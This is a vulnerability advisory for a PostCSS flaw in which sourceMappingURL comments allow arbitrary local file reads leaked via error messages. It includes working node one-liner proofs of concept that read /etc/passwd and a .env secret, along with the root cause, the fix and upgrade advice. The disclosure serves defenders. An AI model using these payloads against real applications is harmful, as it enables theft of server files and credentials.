high · 7.5CVE-2026-45623Jul 23, 2026

CVE-2026-45623: PostCSS Arbitrary File Read via sourceMappingURL Path Traversal

Rohit Hatagale
AI Security Researcher, SecureLayer7

PostCSS blindly reads any local file path embedded in a CSS comment and leaks its first bytes through an error message, letting an attacker read server secrets from any app that processes untrusted…

Packagepostcss
Ecosystemnpm
Affected<= 8.5.11
Fixed in8.5.12

The problem

PostCSS's PreviousMap class extracts the path from a /*# sourceMappingURL=PATH */ comment and passes it straight to fs.readFileSync with no sanitisation. There is no scheme check, no traversal guard, and no allowlist.

With default options (no from, no map), the attacker supplies an absolute path like /etc/passwd and it is read directly. When opts.from is set, a ../ traversal escapes the base directory because path.join does not block dot segments. Either way, the bytes land in PreviousMap.text and are immediately fed to JSON.parse; V8's SyntaxError message embeds the first ~10 bytes of the file, leaking them to any caller that surfaces PostCSS errors.

Proof of concept

A working proof-of-concept for CVE-2026-45623 in postcss, with the exact payload below.

bash
# Vector 1: absolute path, zero options required
node -e '
  const p = require("postcss");
  try {
    p().process("a{color:red}\n/*# sourceMappingURL=/etc/passwd */");
  } catch(e) { console.log(e.message); }
'
# Output: Unexpected token 'r', "root:x:0:0"... is not valid JSON

# Vector 2: dot-dot traversal when opts.from is set
node -e '
  require("postcss")()
    .process(
      "a{color:red}\n/*# sourceMappingURL=../../../../../etc/passwd */",
      { from: "/var/www/html/styles/main.css", map: { inline: false } }
    )
    .catch(e => console.log(e.message));
'
# Output: Unexpected token 'r', "root:x:0:0"... is not valid JSON

# Vector 3: file-existence oracle (no error = file absent, error = file exists)
node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/no/such/file */"); console.log("silent");'
# Output: silent

# Vector 4: arbitrary secret leak
printf 'API_KEY=sk-secret-12345\n' > /tmp/test.env
node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/tmp/test.env */)' 2>&1
# Output: Unexpected token 'A', "API_KEY=sk"... is not valid JSON

The root cause is in lib/previous-map.js. getAnnotationURL strips only the /*# sourceMappingURL= prefix and trims whitespace; it performs no scheme check and no path validation. loadMap then calls loadFile(annotation) directly when opts.from is absent, or loadFile(path.join(dirname(from), annotation)) when it is set. path.join resolves .. segments normally, so traversal sequences escape the base directory. loadFile calls fs.readFileSync synchronously on whatever path it receives.

The patch in 8.5.12 restricts loadFile calls to paths that stay within the directory of opts.from, rejecting absolute annotations and any relative path whose resolved form escapes that directory. The new opts.unsafeMap: true flag restores the old behaviour for trusted build pipelines that need it.

The only prior escape hatch was the undocumented { map: false }, which also disabled all in-memory source-map handling.

The fix

Upgrade postcss to 8.5.12 or later. The fix restricts source-map annotation file reads to the directory of opts.from. If you run a trusted build pipeline and need the old behaviour, set opts.unsafeMap: true explicitly. Any pipeline that passes untrusted CSS (CMS themes, user uploads, userstyle processors) must not set unsafeMap: true and must not surface raw PostCSS error messages to end users.

Reporter not attributed.

References: [1][2][3][4][5]

Related research